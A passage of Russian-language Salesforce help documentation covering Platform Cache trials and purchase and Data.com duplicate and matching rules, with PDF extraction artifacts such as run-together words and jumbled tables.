приобретении дополнительного кэша.

Salesforce утверждает запросы пробных версий кэша, как правило, в течение трех дней. После утверждения запроса вы
получите пробный кэш объемом 60 МБ, действующий в течение 10 рабочих дней. Чтобы получить больший объем
пробного кэша, обратитесь в компанию Salesforce.

Прим.: Вы можете сделать до 10 запросов получения пробной версии кэша, и между их использованием должно
пройти 90 дней. Еслидляполного тестированияпроизводительностикэшапотребуетсябольше 10 дней, обратитесь
в компанию Salesforce.

После отправки запроса пробной версии кэша вы будете получать электронные письма со следующими интервалами
времени.

Во время активации
Увасесть 10 рабочихдней, чтобыпротестироватьпробнуюверсиюкэшавсвоейорганизации. Теперьможновыделить
объемы разделов.

За три дня до завершения срока действия
До завершения срока действия обязательно перенастройте разделы, чтобы снять дополнительный объем пробной
версии.

После завершения срока действия
Пробная версия кэша удаляется из вашей организации.

Прим.: Еслине сделать это самостоятельно, компания Salesforce уменьшитразмерыразделов, чтобыудалитьобъем,
выделенный с пробной версией кэша.

Организации версии Developer Edition
Для организации версии Developer Edition можно получить пробную версию кэша. Зарегистрируйтесь в организации и
отправьте запрос пробной версии кэша через инструмент разбиения кэша платформы. После утверждения запроса
пробной версии вы получите объем пробной версии кэша, действительный в течение шести месяцев. Независимые
поставщикиПО, использующиеорганизацииверсии Developer Edition для создания управляемыхпакетов, могутполучить
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пробныйкэшобъемом 10 МБдлядвухорганизацийверсии Developer Edition. Чтобыполучитьпробныйкэшдляорганизаций
версии Developer Edition, независимые поставщики ПО могут обратиться к представителю компании Salesforce.

Алгоритм уменьшения кэша
По завершении пробного периода компания Salesforce удаляет выданный объем пробного кэша из вашей организации.
Обязательноснимитевыделенноепространствопробногокэшадозавершениясрока егодействия. Снятьдополнительное
пространство можно посредством инструмента разбиения кэша путем сброса выделенных разделов. Если не снять
выделенное пространство, компания Salesforce удалит выданный кэш в описанном далее порядке.

• В первую очередь система удаляет кэш из наименьшего по размеру раздела, не выбранного в качестве раздела по
умолчанию.

Прим.: Размер раздела — это его общий выделенный объем, включая кэш организации и кэш пространства
имен.

• Затем система прорабатывает разделы от меньшего к большему. Если имеется несколько разделов одинакового
размера, система удаляет кэш из этих разделов в пропорциональном объеме.

• Система уменьшает размер разделов до 5 МБ, если удаляется весь объем пробного кэша. В противном случае размер
разделов может быть уменьшен до 0 МБ.

• Разделпо умолчанию (при егоналичии) уменьшается в последнююочередь, еслиобъемпробного кэшаневозможно
удалить из любых других разделов.

При наличии свободного пространства выполняются следующие действия.

• Если объем свободного пространства больше объема удаляемого пространства, система удаляет только свободное
пространство.

• Если объем свободного пространства меньше объема удаляемого пространства, система в первую очередь удаляет
свободное пространство. Затем система выполняет процесс уменьшения объема кэша, удаляя оставшуюся часть
объема.

СМ. ТАКЖЕ:

Определение разделений для данных, кэшированных посредством кэша платформы Force.com

Приобретение кэша платформы

Приобретение кэша платформы
Используйте пространство кэша платформы для повышения производительности приложений.

Кэш платформы доступен клиентам с организациями версии Enterprise Edition и выше. Перечисленные ниже версии
поставляются по умолчанию с небольшим объемом кэша, но добавление дополнительного объема кэша поможет еще
больше повысить производительность.

• Enterprise Edition (по умолчанию 10 МБ)

• Unlimited Edition (по умолчанию 30 МБ)

• Performance Edition (по умолчанию 30 МБ)

Чтобы определить требуемый объем кэша для ваших приложений, запросите пробный кэш и проверьте его в своей
организации. Кэш платформы может повысить производительность, в частности, в следующих ситуациях.

• Организации с большим количеством настроек Apex

• Организации с большим количеством одновременно работающих пользователей
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• Организации или приложения, использующие сложные расчеты или запросы

Кроме того, независимые поставщики ПО могут приобрести кэш для использования в своих приложениях,
предоставляемых пользователям.

Пространство кэша разделено на блоки размером 10 МБ и предоставляется с годовой подпиской. Чтобы приобрести
кэш платформы, обратитесь к представителю Salesforce.

СМ. ТАКЖЕ:

Определение разделений для данных, кэшированных посредством кэша платформы Force.com

Запрос пробной версии кэша платформы

Управление повторяющимися записями в Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Обеспечение актуальности и точности данных позволяет гарантировать организации
эффективное использование системы Salesforce. Используйте функцию управления
повторами Data.com для определения возможности создания повторяющихся записей
в системе Salesforce. При необходимости настройте логику, используемую для
определения повторов, и создайте отчеты по повторам, которые могут быть сохранены
пользователями.

Прим.: Функция управления повторами использует технологию Data.com, но не
требует наличия лицензии Data.com.

Начиная с выпуска Spring ‘15 во всехновыхорганизациях Salesforceфункцииуправления
повторяющимися записями уже настроены и включены для организаций, контактов и
интересующихся клиентов. В других организациях необходимо вручную настроить и
активировать функции управления повторяющимися записями. Принцип работы
настроеннойфункции управления повторами описан ниже.

• Попытка сохранения новой записи инициирует ее сравнение с текущими записями Salesforce для определения возможных
повторов (1). Критерии, используемыедля сравнения записейиопределениявозможныхповторов, задаются правилом
соответствия. Затем отображается список возможных повторов (2). Действия, выполняемые при определении
сохраняемой записи в качестве возможного повтора, зависят от критериев, заданных повторяющимся правилом (3).
Например, повторяющееся правило может препятствовать сохранению возможного повтора или разрешать его
сохранение. Действия «Блокировать» и «Разрешить» поддерживают отображение предупреждения, содержащего
причинунеудачногосохранения записиирекомендации. Действие «Разрешить» поддерживаетвозможность создания
отчетов по повторяющимся записям.

• Попыткасохраненияотредактированнойзаписиинициируетеепроверкунапредметизменениязначениясоответствующего
поляправила. Еслиизменения есть, топроцесс управленияповторами соответствует описанному вышепроцессу для
новых записей. При отсутствии изменения дальнейшие действия не выполняются, а поиск повторов прекращается.
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Рекомендации по использованию инструментов управления повторами
В правила управления повторами Data.com включены ограничения на правила дублирования, правила совпадения и
наборы повторяющихся записей.

Понятия функции управления повторами
Чтобы настроить функцию управления повторами Data.com более эффективно, просмотрите некоторые основные
понятия.

Настройка функции управления повторами в системе Salesforce

Чтобы использовать функцию управления повторами Data.com в организации, создайте два отдельных правила:
повторяющееся правило и правило соответствия. Повторяющееся правило определяет действие, которое должно
выполнятьсясистемойSalesforceприобнаруженииповторов. Правилосоответствияопределяетпорядоксопоставления
записей для определения возможных повторов.

Ссылка на правило соответствия
Данный раздел содержит некоторые дополнительные сведения, описывающие принципы работы и способы
использования правил соответствия.

Справка по правилам управления повторами
Данный раздел содержит некоторые дополнительные сведения, описывающие принципы работы и способы
использования правил управления повторами.
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Управление повторами. Вопросы и ответы
Просмотрите ответы на типичные вопросы о функции управления повторами Data.com.

СМ. ТАКЖЕ:

Понятия функции управления повторами

Настройка функции управления повторами в системе Salesforce

Ссылка на правило соответствия

Рекомендации по использованию инструментов управления повторами
В правила управления повторами Data.com включены ограничения на правила дублирования, правила совпадения и
наборы повторяющихся записей.

Рекомендации по правилам управления повторами
• Правилауправленияповторамиподдерживаютсяорганизациями, контактами, интересамиинастраиваемымиобъектами.

В настоящее время все другие объекты, включая возможности и организации-лица, не поддерживаются.

• Правила для повторов не работают в следующих случаях.

– При создании записей посредством функции «Быстрое создание».

– При преобразовании интересов в организации или контакты и отсутствии полномочия организации
«Использование функции преобразования интересов Apex».

– При восстановлении записей с помощью кнопки «Восстановить».

– При добавлении записей посредством Exchange Sync.

– При объединении записей вручную.

– Присозданиипользователемпорталасамообслуживаниязаписейиправил, которыесодержатусловия, основанные
на объекте «Пользователь».

– Когда условия правила управления повторами настроены на поиск полей взаимосвязи, а в этих полях сохранены
пустыезаписи. Например, присохраненииусловия, согласнокоторомуправиловыполняется, толькоесли Кампания
НЕ СОДЕРЖИТ "Salesforce". Затемпридобавлениипустой записивполе «Кампания» правилоуправления
повторами не выполняется.

• Правила управления повторами, отображающие предупреждение при обнаружении возможных повторов, всегда
блокируютвозможность сохранения записейи не возвращаютсписоквозможныхповторов. Эта ситуацияпроисходит
в следующих случаях.

– При добавлении записей посредством инструментов импорта данных.

– Припреобразованииорганизации-лицаворганизацию-компанию (исоответствииновойорганизации-компании
текущим организациям-компаниям).

– При добавлении или редактировании записей посредством интерфейсов Salesforce API.

• При сохранении нескольких записей одновременно, когда в правилах повторов задано «Блокировка» или
«Предупреждение», записи с одним сохранением не сравниваются друг с другом, они сравниваются только с записями,
которые уже находятся в Salesforce. Этот режим не влияет на действие «Отчет», и в наборы повторяющихся записей
попадают записи, которые совпадают с другими записями в одном сохранении.

• Настраиваемые поля раскрывающегося списка не поддерживаются, если они включены в правило сопоставления,
используемое в правиле повтора между объектами.
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• Средство перевода не поддерживает настраиваемый текст предупреждения в повторяющихся правилах.

• Не более пяти активных повторяющихся правил на объект.

• Неболее трехправилсоответствиянаповторяющеесяправило, икаждоеправилосоответствиядолжноиспользовать
другой объект.

• Начиная с выпуска Spring ‘15 во всех новых организациях Salesforceфункции управления повторами активированы
для организаций, контактов и интересов. Новые организации создаются со стандартными правилами управления
повторамидляорганизаций, контактовиинтересов. Каждоеправилоуправленияповторамисвязаноссоответствующим
правилом. Можно отключить эти правила или создать настраиваемые правила.

Рекомендации по правилам соответствия
• Правила сопоставления поддерживаются организациями, контактами, интересами и настраиваемыми объектами. В

настоящее время все другие объекты, включая возможности и организации-лица, не поддерживаются.

• Стандартные и настраиваемые правила соответствия, использующие методы неточного совпадения, поддерживают
только латинские символы, поэтомуприналичиимеждународныхданныхрекомендуемиспользоватьметод точного
совпадения.

• Недоступностьполя объектаможетинициироватьпропускправил соответствия, содержащих соотнесения с данным
полем, и это повлияет на распознавание повторов. При изменении полей, доступных организации, проверьте все
соотнесения полей повторяющегося правила для объекта. Например, поле «Статус очистки» доступно только
клиентам с лицензией Data.com. Истечение срока действия лицензии Data.com инициирует недоступность данного
поля и пропуск правил соответствия, содержащих соотнесения с данным полем.

• Правило соответствия может содержать только 1 поле типа «Взаимосвязь поиска».

• Не более 5 активных правил соответствия на объект.

• Не более 25 активных правил соответствия всего.

• Не более 100 активных и неактивных правил соответствия всего.

• Не более 5 правил соответствия для одновременной активации или деактивации.

• Правиласоответствия, содержащиеполясшифрованиемплатформы, немогутопределятьповторы. Есливорганизации
включеношифрование платформы, убедитесь, что правила соответствия не содержат зашифрованных полей.

Рекомендации по наборам повторяющихся записей
• Поумолчаниюнаборыповторяющихсязаписейотображаютсятолькоадминистраторам, которыемогутпредоставлять

другим пользователям доступ для их просмотра.

• При наличии повторяющегося интереса, который преобразован до создания набора повторяющихся записей,
преобразованный интерес не входит в этот набор.

СМ. ТАКЖЕ:

Повторяющиеся правила
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Понятия функции управления повторами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Чтобы настроить функцию управления повторами Data.com более эффективно,
просмотрите некоторые основные понятия.

Повторяющиеся правила
Правила управления повторами используются для управления возможностью
сохранять повторяющиеся записи в системе Salesforce и условиями сохранения.

Правила соответствия
Правила соответствия используются для определения повторяющихся записей в
системе Salesforce.

Наборы повторяющихся записей
Быстрый просмотр списка повторяющихся записей, сгруппированных в наборы,
доступен на вкладке «Наборы повторяющихся записей». Для этого организация
должна использовать действие отчета с собственными правилами для повторений.

Повторяющиеся журналы ошибок
ЕслиорганизацияиспользуетфункциюуправленияповторамиData.com, топользователимогутпросматриватьлюбые
системные ошибки, препятствующие успешному выполнению повторяющихся правил или правил соответствия.

Влияние функции управления повторами на пользователей
При создании и активации повторяющихся правил пользователям, пытающимся сохранить запись, определенную
каквозможныйповтор, отображаютсярекомендацииподальнейшимдействиям. Нижеприведенпримеротображаемой
страницы.

Повторяющиеся правила

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Правилауправленияповторамииспользуютсядля управлениявозможностьюсохранять
повторяющиеся записи в системе Salesforce и условиями сохранения.

Правила управления повторами сообщают системе Salesforce, какие действия следует
предпринимать, когда пользователь пытается создать повторяющуюся запись. Каждое
правило должно содержать как минимум одно правило соответствия, предназначенное
для определения возможных повторов.

Можно настроить действия, выполняемые правилом при создании и редактировании
записи. Темнеменее, правилобудетвыполнятьсядляотредактированныхзаписейтолько
при добавлении редактируемых полей в связанное правило соответствия.

Начиная с выпуска Spring ‘15 во всехновыхорганизациях Salesforceфункцииуправления
повторами настроены и активированы для организаций, контактов и интересов.
Рекомендуется использовать стандартные правила управления повторами, поскольку
онисозданыдляработысостандартнымиправиламисоответствияисцельюполучениянаилучшихвозможныхсовпадений.
Принеобходимостистандартныеправила управленияповторамиможноотключить. Пользователитакжемогут создавать
собственные правила.

Пример: Правилоуправленияповторамиможетпрепятствоватьсохранениюзаписей, определенныхкаквозможные
повторы, или разрешать их сохранение. Действия «Блокировать» и «Разрешить» поддерживают отображение
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предупреждения, содержащего причину неудачного сохранения записи и рекомендуемые действия. Действие
«Разрешить» поддерживает возможность создания отчетов по повторяющимся записям.

СМ. ТАКЖЕ:

Создание или редактирование повторяющихся правил

Управление повторяющимися записями в Salesforce

Правила соответствия

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Правиласоответствияиспользуютсядляопределенияповторяющихсязаписейвсистеме
Salesforce.

Посмотреть видеоролик: Understanding Matching Rules

Правилосоответствиясостоитизотдельныхполей, объединенныхвуравнение. Каждое
поле содержит критерии соответствия, определяющие способ сопоставления полей и
условия, при выполнении которых отдельное поле может считаться совпадением.

Активация правила соответствия инициирует автоматическое создание и применение
как минимум одного ключа соответствия к текущим записям. (Данный процесс,
называемый индексацией, повышает производительность и возвращает
усовершенствованный набор возможных совпадений, так как выполняемое правило
соответствия ищет повторы только среди записей с таким же ключом соответствия.)

Выполняемоеправилосоответствия сравнивает каждоеполе с соответствующимполем
текущих записей, использующих такие же ключи соответствия, и применяет критерии соответствия для определения
степени соответствия полей и последующего сопоставления записей.

Пример: Две записи, содержащие одинаковые значения в полях «Эл. почта» и «Тел.», могут обрабатываться
простым правилом соответствия как возможные повторы. При необходимости воспользуйтесь разными методами
неточного совпадения для сравнения полей.

Рекомендуемиспользоватьправиласоответствиясповторяющимисяправиламидляуправленияусловиямипредоставления
пользователям возможности создания повторяющихся записей в системе Salesforce.

Пользователимогутиспользовать стандартныеправила соответствияилисоздавать собственныенастраиваемыеправила
соответствия. Рекомендуемиспользоватьстандартныеправиласоответствия, предназначенныедлявозвратаоптимального
набора возможных совпадений.  

СМ. ТАКЖЕ:

Создание или редактирование настраиваемых правил соответствия

Ссылка на правило соответствия
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Наборы повторяющихся записей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Быстрыйпросмотрспискаповторяющихсязаписей, сгруппированныхвнаборы, доступен
на вкладке «Наборы повторяющихся записей». Для этого организация должна
использовать действие отчета с собственными правилами для повторений.

Сохранениезаписи, котораяопределяетсякакповтор, инициируетвыполнениеуказанных
ниже действий.

• Сохраненнаязаписьивсеееповторы (неболее 100) назначаютсяновомуилитекущему
набору повторяющихся записей.

• Сохраненная запись и каждый ее повтор будет отображаться как повторяющийся
элемент записи внутри набора повторяющихся записей.

• Если повторяющееся правило поддерживает поиск повторов по объектам, то все
повторы кросс-объекта отображаются как повторяющиеся элементы записи внутри
набора повторяющихся записей.

Наборыповторяющихся записей и повторяющиеся записи можно использовать для выполнения следующих действий.

• Создание типов настраиваемых отчетов

• Создание настраиваемых полей

• Создание правил проверки, триггеров и бизнес-правил

• Изменение полей, которые могут отображаться на соответствующих макетах страниц

СМ. ТАКЖЕ:

Рекомендации по использованию инструментов управления повторами

Повторяющиеся журналы ошибок

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ЕслиорганизацияиспользуетфункциюуправленияповторамиData.com, топользователи
могут просматривать любые системные ошибки, препятствующие успешному
выполнению повторяющихся правил или правил соответствия.

Введите строку «Повторяющиеся журналы ошибок» в поле «Быстрый поиск» в меню
«Настройка» ивыберитепункт«Повторяющиесяжурналыошибок». Даннаястраница
позволяет просмотреть обнаруженные ошибки (при их наличии). Журналы ошибок
хранятся в течение 90 дней.

Пример: Ниже перечислены некоторые сценарии, которые могут инициировать
регистрацию ошибки в журнале.

• Механизм, использованный для неточного совпадения, временно недоступен.
Таким образом, правила соответствия, использующие методы неточного
совпадения, не выполняются.

• Не удается выполнить действие отчета для повторяющихся правил ввиду
невозможности создания набора повторяющихся записей.
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Влияние функции управления повторами на пользователей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

При создании и активации повторяющихся правил пользователям, пытающимся
сохранить запись, определенную как возможныйповтор, отображаются рекомендации
по дальнейшим действиям. Ниже приведен пример отображаемой страницы.

• Всеповторяющиесяправиласодержатсистемноесообщение (1), уведомляющеепользователейоколичественайденных
возможных повторов. Количество возможных повторов охватывает только доступные записи (даже при назначении
значения «Пропустить правила общего доступа» параметрам безопасности записи, заданным для повторяющегося
правила). (Значение «Пропустить правила общего доступа» указываетсвязанномуправилусоответствиянанеобходимость
сравнения всех записей, независимоот доступа пользователя.) Если все записи, помеченные как возможныеповторы,
являются недоступными, то данное сообщение только указывает на обнаружение повторов, но не отображает их
количество. Список возможных повторов содержит только доступные записи.

• Предупреждение, добавленное в повторяющееся правило, отображается под системным сообщением (2).

• Кнопка «Сохранить (Пропустить предупреждение)» (3) отображается при условии, что повторяющееся правило
позволяетпользователямсохранять запись, котораяможетбытьповтором. Еслиповторяющеесяправилопрепятствует

847

Понятия функции управления повторамиНастройка и обслуживание организации Salesforce



сохранению записи, которая может быть повтором, то кнопка «Сохранить» отображается, но запись может быть
сохранена только после внесения соответствующих изменений.

• Список возможных повторов (4) содержит только доступные записи. Данный список отображает только доступные
поля (не более 7 первых полей, использованных для сопоставления связанным правилом соответствия). Данный
список отображает не более 5 записей. Чтобы просмотреть полный список повторяющихся записей (не более 100),
щелкнитессылку «Показатьвсе >>». Записиотображаютсяподатепоследнегоизменения. Чтобыоткрытьстраницу
записи, щелкните соответствующую ссылку в списке.

• Выделенные поля (5) — это поля, использованные для сопоставления связанным правилом соответствия.

СМ. ТАКЖЕ:

Управление повторяющимися записями в Salesforce

Настройка функции управления повторами в системе Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ЧтобыиспользоватьфункциюуправленияповторамиData.com ворганизации, создайте
дваотдельныхправила: повторяющеесяправилоиправилосоответствия. Повторяющееся
правило определяет действие, которое должно выполняться системой Salesforce при
обнаружении повторов. Правило соответствия определяет порядок сопоставления
записей для определения возможных повторов.

Важное замечание: Начиная с выпуска Spring ‘15 во всех новых организациях
Salesforceфункции управления повторами настроены и активированы для
организаций, контактов и интересов. Новые организации создаются со
стандартными правилами повторов и соответствия для организаций, контактов и
интересов.

Создание или редактирование повторяющихся правил
Рекомендуемиспользоватьповторяющиесяправиладляопределениядействия, выполняемогоприпопыткесохранения
повторяющейся записи.

Создание или редактирование настраиваемых правил соответствия
Рекомендуем использовать правила соответствия для определения способа сравнения двух записей и выявления
повторов.

Создание типов настраиваемых отчетов для отчетов по повторяющимся записям
Если организация использует действие отчета с повторяющимися правилами, то пользователи могут выполнять
отчеты для анализа качества данных и определения эффективности применения повторяющихся правил. Данный
алгоритм позволяет пользователям точно настраивать повторяющиеся правила. Сначала рекомендуем настроить
соответствующие типы настраиваемых отчетов.
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Создание или редактирование повторяющихся правил

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования или
удаления повторяющихся
правил:
• «Настройка

приложения»

Для активации и
деактивации
повторяющихся правил:
• «Настройка

приложения»

Для просмотра
повторяющихся правил:
• «Просмотр настройки и

конфигурации»

Рекомендуем использовать повторяющиеся правила для определения действия,
выполняемого при попытке сохранения повторяющейся записи.

Чтобы пользователи могли просмотреть список возможный копий, обнаруженных
правилом, онидолжныиметьполномочиедлячтенияобъекта, определенногоправилом.

1. Введите строку «Повторяющиеся правила» в поле «Быстрый поиск» в меню
«Настройка», затем выберите пункт «Повторяющиеся правила».

2. Чтобыизменитьтекущееправило, щелкнитеимянужногоправилаинажмитекнопку
«Правка». Чтобысоздатьправило, нажмитекнопку «Создатьправило»ивыберите
нужный объект.

3. Введите сведения о правиле, включая имя правила, описание и параметры
безопасности записи.

4. Выберите действие, которое должно выполняться при попытке сохранения
повторяющейся записи.

Еслидействие содержитпредупреждениедляпользователей, то системаотображает
стандартныйтекстпредупреждения, доступныйдлянастройки. Возможностьсоздания
отчетов поддерживается только действием «Разрешить».

5. В разделе «Правила соответствия» сначала выберите объект для сравнения данных
записей. Затем выберите нужное правило соответствия.

В этом списке содержатся все доступные правила соответствия для выбранного
объекта. Приотсутствиинужногоправиласоответствиящелкните «Создать правило
соответствия».

Совет: Рекомендуем использовать стандартные правила соответствия,
предназначенные для возврата оптимального набора возможных совпадений.
Помните о необходимости их активации.

Прежде чем создать правило соответствия, рекомендуем сначала завершить
созданиеповторяющегосяправила. Затемсоздайтеиактивируйтеновоеправило
соответствия. Открываемоеповторяющеесяправилоавтоматическисвязывается
с созданным правилом соответствия при условии отсутствия подобной связи.

6. При необходимости выберите соотнесение полей для каждого правила соответствия.

Если правило соответствия сравнивает записи из двух разных объектов или использует настраиваемые поля:

• Рекомендуем определить порядок сопоставления полей первого объекта с полями второго объекта. Например,
соотнесите настраиваемое поле «Рабочий адрес эл. почты» со стандартным полем «Эл. почта».

• Некоторые данные могут усекаться перед сопоставлением двух текстовых полей разной максимальной длины.

7. Чтобывыполнятьповторяющеесяправилотолькоприсоблюденииопределенныхусловий, укажитенужныеусловия.

Например, добавьте условие, согласнокоторомуправилодолжновыполняться толькопривводе записипользователем
определенного профиля или роли, либо при наличии в записи конкретной страны или области.

8. Сохраните правило.

9. Активируйте правило.

Успешность активации зависит от активности всех связанных правил соответствия.
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10. Приналичиинескольких активныхповторяющихсяправилдляотдельногообъектаизменитепорядокихобработки.
Чтобыизменитьпорядокотображенияправил, нажмитекнопку «Изменитьпорядок»на страницесведенийолюбом
правиле.

Совет: Запись, для которой совпадение обнаруживается первым повторяющимся правилом, не оценивается
последующими повторяющимися правилами. Обратите внимание, что правила, использующие действие
«Блокировать», должны выполняться перед правилами, использующими действие «Разрешить».

СМ. ТАКЖЕ:

Повторяющиеся правила

Правила соответствия

Создание или редактирование настраиваемых правил соответствия

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования или
удаления правил
соответствия:
• «Настройка

приложения»

Для активации и
деактивации правил
соответствия:
• «Настройка

приложения»

Для просмотра правил
соответствия:
• «Просмотр настройки и

конфигурации»

Рекомендуем использовать правила соответствия для определения способа сравнения
двух записей и выявления повторов.

1. Введите строку «Правила соответствия» в поле «Быстрый поиск» в меню
«Настройка», затем выберите пункт «Правила соответствия».

2. При редактировании текущего правила соответствия убедитесь, что оно неактивно.

3. Нажмите кнопку «Создать правило» илищелкните ссылку «Правка» напротив
нужного правила.

4. Выберите нужный объект.

5. Введите имя и описание правила.

6. Введите критерии соответствия.

Критериисоответствияпозволяютопределятьполяиспособыихсравнения. Чтобы
добавить не более 10 дополнительных полей, щелкните «Добавить логику
фильтра...», а затем «Добавить строку».

7. Чтобы задать уравнение соответствия, щелкните «Добавить логикуфильтра...».
Например, при необходимости измените условие «И» на условие «ИЛИ» вручную.

8. Сохраните правило.

9. Активируйте правило.

Процесс активации может занять некоторое время. Уведомление о его завершении
будет отправлено по эл. почте.

Активное правило соответствия может использоваться с другими инструментами
управления повторами Data.com. Например, если правило соответствия используется
совместно с повторяющимся правилом, то система Salesforce выполняет определенные
действия при сохранении записи, определенной правилом соответствия в качестве
повтора.

СМ. ТАКЖЕ:

Правила соответствия

Ссылка на правило соответствия
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Создание типов настраиваемых отчетов для отчетов по повторяющимся записям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
обновления типов
настраиваемых отчетов:
• «Управление типами

настраиваемых отчетов»

Для удаления типов
настраиваемых отчетов:
• «Изменение всех

данных»

Если организация использует действие отчета с повторяющимися правилами, то
пользователи могут выполнять отчеты для анализа качества данных и определения
эффективности применения повторяющихся правил. Данный алгоритм позволяет
пользователям точно настраивать повторяющиеся правила. Сначала рекомендуем
настроить соответствующие типы настраиваемых отчетов.

Ниже перечислены записи, отображаемые данными отчетами.

• Записи, определенные как повторы посредством повторяющихся правил, которые
содержат действие отчета.

• Записи, добавленные в объект «Наборы повторяющихся записей» вручную.

1. Просмотрите сведения о типах настраиваемых отчетов, а также основные этапы их
создания и использования.

2. Создайтетипынастраиваемыхотчетовс соответствующимивзаимосвязямиобъектов
и настройте их при необходимости.

Ниже приведены некоторые примеры типов настраиваемых отчетов.

Дополнительные
действия

BA (основной
объект)

Возможное
применение

Тип отчета

Повторяющиеся
элементы
записи

ОрганизацииСоздание
отчетов по
повторяющимся
организациям,
найденным
посредством
повторяющихся
правил.

Повторы
организаций

Повторяющиеся
элементы
записи

КонтактыСоздание
отчетов по
повторяющимся
контактам,

Повторы
контактов

найденным
посредством
повторяющихся
правил.

Повторяющиеся
элементы
записи

ИнтересыСоздание
отчетов по
повторяющимся
интересам,

Повторы
интересов

найденным
посредством
повторяющихся
правил.
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Дополнительные
действия

BA (основной объект)Возможное
применение

Тип отчета

Добавьтеполепоиска
«Имя

Повторяющиеся
элементы записи

Набор
повторяющихся
записей

Создание отчетов,
позволяющих
определять
эффективность

Все повторы

повторяющегося
правила» в макет

применения страницы «Набор
повторяющихся
правил.

повторяющихся
записей».

3. Разверните нужные типы отчетов.

4. Уведомите пользователей о возможности создания отчетов посредством данных типов настраиваемых отчетов.

СМ. ТАКЖЕ:

Наборы повторяющихся записей

Ссылка на правило соответствия

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Данныйразделсодержитнекоторыедополнительныесведения, описывающиепринципы
работы и способы использования правил соответствия.

Стандартные правила соответствия
Система поддерживает несколько стандартных правил соответствия, которые могут
использоваться с инструментами управления повторами Data.com (например,
повторяющиеся правила). Каждое стандартное правило соответствия позволяет
возвращатьоптимальныйнаборвозможныхсовпаденийдляорганизаций, контактов
или интересов.

Критерии соответствия для правил соответствия
Правила соответствияиспользуюткритериидляопределениястепенисоответствия
поляновойилиизмененнойзаписитакомужеполютекущейзаписиипоследующего
сопоставления двух записей. При создании настраиваемого правила соответствия
рекомендуем задать некоторые критерии. Стандартные правила соответствия содержат дополнительные критерии,
которые уже заданы для пользователя.

Методы совпадения, используемые правилами соответствия
Метод совпадения — эточасть критериев соответствия, определяющаяспособсопоставленияотдельногополяодной
записи с соответствующимполем другой записи. Система поддерживает метод точного совпадения и разныеметоды
неточного совпадения.

Алгоритмы совпадения, используемые методами совпадения
Метод совпадения и алгоритм совпадения — это часть критериев соответствия. При совместномиспользованииони
определяют способ сопоставления отдельного поля одной записи с соответствующимполем другой записи, а также
степень соответствия полей.
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Ключи соответствия и правила соответствия
Ключи соответствия используются для повышения эффективности правил соответствия. Чтобы лучше понять
принцип действия правил соответствия, изучите процесс создания ключей соответствия.

Ключи соответствия, используемые стандартными правилами соответствия
Ключи соответствия используются для повышения эффективности правил соответствия. Чтобы понять принцип
работы стандартных правил соответствия, воспользуйтесь сведениями о ключе соответствия.

Стандартные правила соответствия

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Система поддерживает несколько стандартных правил соответствия, которые могут
использоваться с инструментами управления повторами Data.com (например,
повторяющиеся правила). Каждое стандартное правило соответствия позволяет
возвращать оптимальный набор возможных совпадений для организаций, контактов
или интересов.

Стандартное правило соответствия для организаций
Подобновсемправиламсоответствия, стандартноеправилосоответствиядля записей
организаций содержит поля, объединенные в уравнение. Каждое поле содержит
критерии соответствия, используемые правилом для определения степени
соответствия полей и последующего сопоставления записей.

Стандартное правило соответствия для контактов и интересов
Подобновсемправиламсоответствия, стандартноеправилосоответствиядля записей
контактов и интересов содержит поля, объединенные в уравнение. Кроме того, каждое поле содержит критерии
соответствия, используемыеправиломдляопределения степени соответствияполейипоследующего сопоставления
записей.

Стандартное правило соответствия для организаций
Подобно всем правилам соответствия, стандартное правило соответствия для записей организаций содержит поля,
объединенные в уравнение. Каждое поле содержит критерии соответствия, используемые правилом для определения
степени соответствия полей и последующего сопоставления записей.

Уравнение соответствия

Важное замечание: Стандартное правило соответствия для организаций возвращает точные совпадения только
при наличии значений в полях «Имя организации» и «Город» или «Индекс» новой или измененной записи.

Уравнение соответствияИмя правила

(«Имя организации» И «Улица для счета»)

ИЛИ («Имя организации» И «Город»)

Стандартное правило соответствия для организаций

ИЛИ («Имя организации» И «Индекс»)

ИЛИ («Имя организации» И «Тел.»)

